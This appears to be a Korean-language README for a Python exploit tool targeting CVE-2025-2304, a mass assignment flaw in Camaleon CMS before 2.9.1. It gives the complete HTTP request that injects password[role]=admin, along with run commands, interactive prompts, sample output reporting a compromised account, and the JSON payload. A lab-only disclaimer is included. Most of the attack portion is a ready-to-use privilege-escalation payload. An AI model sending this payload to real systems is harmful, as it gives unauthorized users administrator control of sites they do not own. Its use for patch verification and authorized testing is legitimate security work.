
CVE-2025-2304는 Camaleon CMS(버전 < 2.9.1)의 Mass Assignment 취약점으로, 인증된 사용자가 비밀번호 변경 요청에서 role 파라미터를 조작하여 관리자로 권한을 상승시킬 수 있습니다.
Camaleon CMS는 Ruby on Rails를 사용하며, 버전 2.9.0의 UsersController#updated_ajax 컨트롤러에 Mass Assignment 취약점이 있습니다. 이 컨트롤러는 제한 없이 .permit!를 사용하므로 요청에 포함된 모든 파라미터가 사용자 모델에 직접 할당될 수 있습니다.
POST /admin/users/{user_id}/updated_ajaxpassword 네임스페이스 내에서 전송되는 password[role]params.require(:password)를 처리한 후 .permit!를 적용하며, 이는 어떤 파라미터도 필터링하지 않습니다role 필드에 "admin" 값이 주입됩니다POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
password[role] 파라미터는 User.update(permitted_params)에 의해 처리되어 .permit!로 인해 사용자 레코드에 직접 할당되며, 권한이 user에서 admin으로 상승합니다.
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
스크립트는 대화형으로 다음을 요청합니다:
http(s)://domain:port_cms_session 값 (로그인 후 획득)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
이 취약점을 발견했을 때, 첫 번째로 든 생각은 Burp Suite를 통해 수동으로 테스트하는 것이었고 실제로 성공했습니다. 하지만 한 걸음 더 나아가 그 수동 프로세스를 반복 가능하고 이식 가능한 무언가로 만들고 싶어서 이 스크립트를 작성했습니다. 단순히 취약점을 악용하는 것 외에도, 이 스크립트를 만드는 과정에서 개인적으로 흥미롭다고 생각하는 몇 가지를 해결할 기회를 얻었습니다:
저는 Burp나 Caido를 대체하려는 것이 아닙니다. 그 도구들은 대화형 테스트에 있어 대체 불가능합니다. 이 스크립트는 반복 작업 대신 스크립트를 작성하는 편을 선택했을 때 나오는 결과물일 뿐입니다.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
코드는 다음을 용이하게 하도록 모듈식으로 구조화되어 있습니다:
.permit! 사용이 수정됨다음과 같은 기여를 환영합니다:
기억하세요: 이 프로젝트는 순전히 교육 및 승인된 연구 목적만을 가집니다.
최종 업데이트: 2025년 4월 | 작성자: 보안 분석가 (실험실 환경)